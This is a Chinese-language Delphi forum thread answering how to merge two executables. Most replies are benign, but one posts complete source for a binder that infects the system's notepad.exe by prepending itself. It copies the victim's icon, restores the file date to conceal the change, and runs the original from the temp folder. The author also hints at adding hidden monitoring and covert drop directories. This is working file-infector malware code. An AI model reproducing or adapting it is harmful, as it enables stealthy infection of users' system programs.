怎样将两个exe文件合并成一个exe文件?(100分)

  • 主题发起人 主题发起人 xiaocom
  • 开始时间 开始时间
看旧资料 相关贴子
 
[blue]<br>TO:xiaocom,<br>网上有这样子的工具嘛!<br>ExeBind 就可以做得到。(很小的才17KB)<br>http://nj.onlinedown.net/EXEBIND.HTM<br>[/blue]
 
看看lovejingtao的那篇关于流的文章吧<br>里面讲的特别仔细!
 
**********************捆绑执行文件新思维(第二版)**********************<br>最新功能:与其它程序捆绑后,图标为其它程序的图标<br>这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存<br>如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,<br>&nbsp; &nbsp; 加上 %$#@*^ 功能...<br><br>程序中几个数字的确定:<br>1 &nbsp;在本程序编译后用Aspack.Exe压缩,大小为41472<br>2 &nbsp;经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据<br>&nbsp; &nbsp;位于从第40752字节开始共640字节,图标后还有81字节<br><br>与其它程序捆绑的过程:<br>本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部<br><br>怎么找到图标的位置:<br>将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制<br>编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。<br>十六进制编辑软件:常用UltraEdit。<br>本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,<br>对付几百K的文件没问题:<br>&nbsp; &nbsp; http://guanbh.top263.net/download/hexedit.exe<br>}<br>program exe2;<br><br>uses<br>&nbsp; classes,<br>&nbsp; Tlhelp32,<br>&nbsp; windows,<br>&nbsp; graphics,<br>&nbsp; ShellAPI,<br>&nbsp; SysUtils;<br><br>{$R *.RES}<br>var<br>&nbsp; lppe:TProcessEntry32;<br>&nbsp; found:boolean;<br>&nbsp; handle:THandle;<br>&nbsp; ProcessStr,ExeName:string;<br>&nbsp; WinDir:pchar;<br>const<br>&nbsp; MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}<br><br>procedure copy2(s:string);<br>var<br>&nbsp; s1,s2,IcoStream:TMemoryStream;<br>&nbsp; File2:TFilestream;<br>&nbsp; ch:array[0..1] of char;<br>&nbsp; ss:string;<br>&nbsp; filetime,fhandle:integer;<br>&nbsp; l:integer;<br>&nbsp; File2Icon:Ticon;<br>begin<br>&nbsp; {若文件s不存在}<br>&nbsp; if FileExists(s)=False then exit;<br>&nbsp; try<br>&nbsp; &nbsp; {若文件不含图标,就不捆绑}<br>&nbsp; &nbsp; File2Icon:=Ticon.Create;<br>&nbsp; &nbsp; l:=extracticon(handle,pchar(s),0);<br>&nbsp; &nbsp; if l=0 then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; File2Icon.Free;<br>&nbsp; &nbsp; &nbsp; exit;<br>&nbsp; &nbsp; end<br>&nbsp; &nbsp; else<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp;{提取被捆绑程序图标}<br>&nbsp; &nbsp; &nbsp; &nbsp;File2Icon.Handle:=extracticon(handle,pchar(s),0);<br>&nbsp; &nbsp; &nbsp; &nbsp;IcoStream:=TMemoryStream.Create;<br>&nbsp; &nbsp; &nbsp; &nbsp;File2Icon.SaveToStream(IcoStream);<br>&nbsp; &nbsp; &nbsp; &nbsp;File2Icon.Free;<br>&nbsp; &nbsp; end;<br>&nbsp; &nbsp; {判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过}<br>&nbsp; &nbsp; File2:=TFilestream.Create(s,fmopenread);<br>&nbsp; &nbsp; if File2.Size&gt;MySize then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; File2.Position:=MySize;<br>&nbsp; &nbsp; &nbsp; File2.Read(ch,2);<br>&nbsp; &nbsp; &nbsp; ss:=copy(ch,1,2);<br>&nbsp; &nbsp; &nbsp; if ss='MZ' then<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; File2.Free;<br>&nbsp; &nbsp; &nbsp; &nbsp; exit;<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; end;<br>&nbsp; &nbsp; File2.Free;<br>&nbsp; &nbsp; {将本文件与文件s合并 本文件+s=s}<br>&nbsp; &nbsp; s2:=TMemoryStream.Create;<br>&nbsp; &nbsp; s2.loadfromfile(ExeName);<br>&nbsp; &nbsp; s1:=TMemoryStream.Create;<br>&nbsp; &nbsp; {<br>&nbsp; &nbsp; 加入本程序的前部40751字节<br>&nbsp; &nbsp; 第40752字节开始共640字节为图标数据<br>&nbsp; &nbsp; !!以下数字 40751,81要根据实际情况修改!!<br>&nbsp; &nbsp; &nbsp;}<br>&nbsp; &nbsp; s1.copyfrom(s2,40751);<br>&nbsp; &nbsp; {将图标换为被捆绑程序图标,图标大小为766}<br>&nbsp; &nbsp; IcoStream.Position:=126;<br>&nbsp; &nbsp; s1.CopyFrom(IcoStream,640);<br>&nbsp; &nbsp; IcoStream.Free;<br>&nbsp; &nbsp; s2.Position:=40751+640;<br>&nbsp; &nbsp; {加入本程序的后部81字节}<br>&nbsp; &nbsp; s1.CopyFrom(s2,81);<br>&nbsp; &nbsp; s2.clear;<br>&nbsp; &nbsp; s2.loadfromfile(s);<br>&nbsp; &nbsp; s1.seek(s1.size,soFromBeginning);<br>&nbsp; &nbsp; {加入被捆绑程序全部}<br>&nbsp; &nbsp; s1.copyfrom(s2,s2.size);<br>&nbsp; &nbsp; s2.free;<br>&nbsp; &nbsp; {得到文件s的日期}<br>&nbsp; &nbsp; fhandle:=FileOpen(s, fmOpenread);<br>&nbsp; &nbsp; filetime:=filegetdate(fhandle);<br>&nbsp; &nbsp; fileclose(fhandle);<br>&nbsp; &nbsp; s1.SaveToFile(s);<br>&nbsp; &nbsp; {恢复文件s的日期}<br>&nbsp; &nbsp; fhandle:=FileOpen(s, fmOpenwrite);<br>&nbsp; &nbsp; filesetdate(fhandle,filetime);<br>&nbsp; &nbsp; fileclose(fhandle);<br>&nbsp; &nbsp; s1.free;<br>&nbsp; except end;<br>end;<br><br>procedure CreateFileAndRun;<br>var<br>&nbsp; s1,s2:TMemoryStream;<br>&nbsp; TempDir:pchar;<br>&nbsp; cmdstr:string;<br>&nbsp; a:integer;<br>Begin<br>&nbsp; s1:=TMemoryStream.Create;<br>&nbsp; s1.loadfromfile(ExeName);<br>&nbsp; if s1.Size=MySize then<br>&nbsp; begin<br>&nbsp; &nbsp; s1.Free;<br>&nbsp; &nbsp; exit;<br>&nbsp; end;<br>&nbsp; s1.seek(MySize,soFromBeginning);<br>&nbsp; s2:=TMemoryStream.Create;<br>&nbsp; s2.copyfrom(s1,s1.Size-MySize);<br>&nbsp; GetMem(TempDir,255);<br>&nbsp; GetTempPath(255,TempDir);<br>&nbsp; try<br>&nbsp; &nbsp; {<br>&nbsp; &nbsp; 把文件释放到临时目录。<br>&nbsp; &nbsp; 如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,<br>&nbsp; &nbsp; 如 c:/windows(or winnt)/d...(☆这是个什么目录?你去研究研究吧!☆)<br>&nbsp; &nbsp; }<br>&nbsp; &nbsp; s2.SaveToFile(TempDir+'/'+ExtractFileName(ExeName));<br>&nbsp; except end;<br>&nbsp; &nbsp; cmdstr:='';<br>&nbsp; &nbsp; a:=1;<br>&nbsp; &nbsp; while ParamStr(a)&lt;&gt;'' do begin<br>&nbsp; &nbsp; &nbsp; cmdstr:=cmdstr+ParamStr(a)+' ';<br>&nbsp; &nbsp; &nbsp; inc(a);<br>&nbsp; &nbsp; end;<br>&nbsp; {运行真正的程序文件}<br>&nbsp; winexec(pchar(TempDir+'/'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);<br>&nbsp; freemem(TempDir);<br>&nbsp; s2.free;<br>&nbsp; s1.free;<br>end;<br><br>begin<br>&nbsp; GetMem(WinDir,255);<br>&nbsp; GetWindowsDirectory(WinDir,255);<br>&nbsp; ExeName:=ParamStr(0);<br>&nbsp; handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);<br>&nbsp; found:=Process32First(handle,lppe);<br>&nbsp; ProcessStr:='';<br>&nbsp; while found do<br>&nbsp; begin<br>&nbsp; &nbsp; ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}<br>&nbsp; &nbsp; found:=Process32Next(handle,lppe);<br>&nbsp; end;<br>&nbsp; {如果notepad没运行,就与它捆在一起}<br>&nbsp; if pos(WinDir+'/notepad.exe',ProcessStr)=0 then<br>&nbsp; begin<br>&nbsp; &nbsp; copy2(WinDir+'/notepad.exe');<br>&nbsp; end;<br>&nbsp; {其它需要捆绑的文件<br>&nbsp; if pos(...,ProcessStr)=0 then<br>&nbsp; begin<br>&nbsp; &nbsp; copy2(...);<br>&nbsp; end;<br>&nbsp; ...<br>&nbsp; }<br>&nbsp; freemem(WinDir);<br>&nbsp; {<br>&nbsp; 你想用这个程序干点其它的什么...<br>&nbsp; }<br>&nbsp; CreateFileAndRun;{释放文件并带参数运行}<br>end.<br>
 
lovejingtao的那篇关于流的文章<br>在那里能看到啊?
 
这个问题有一个最简单的方法就是调用winexec('copy a.exe+b.exe /b c.exe');<br>呵,最古老而最有用的方法,参数/b是合并二进制文件。
 
明白,谢谢,大家分了吧!
 
后退
顶部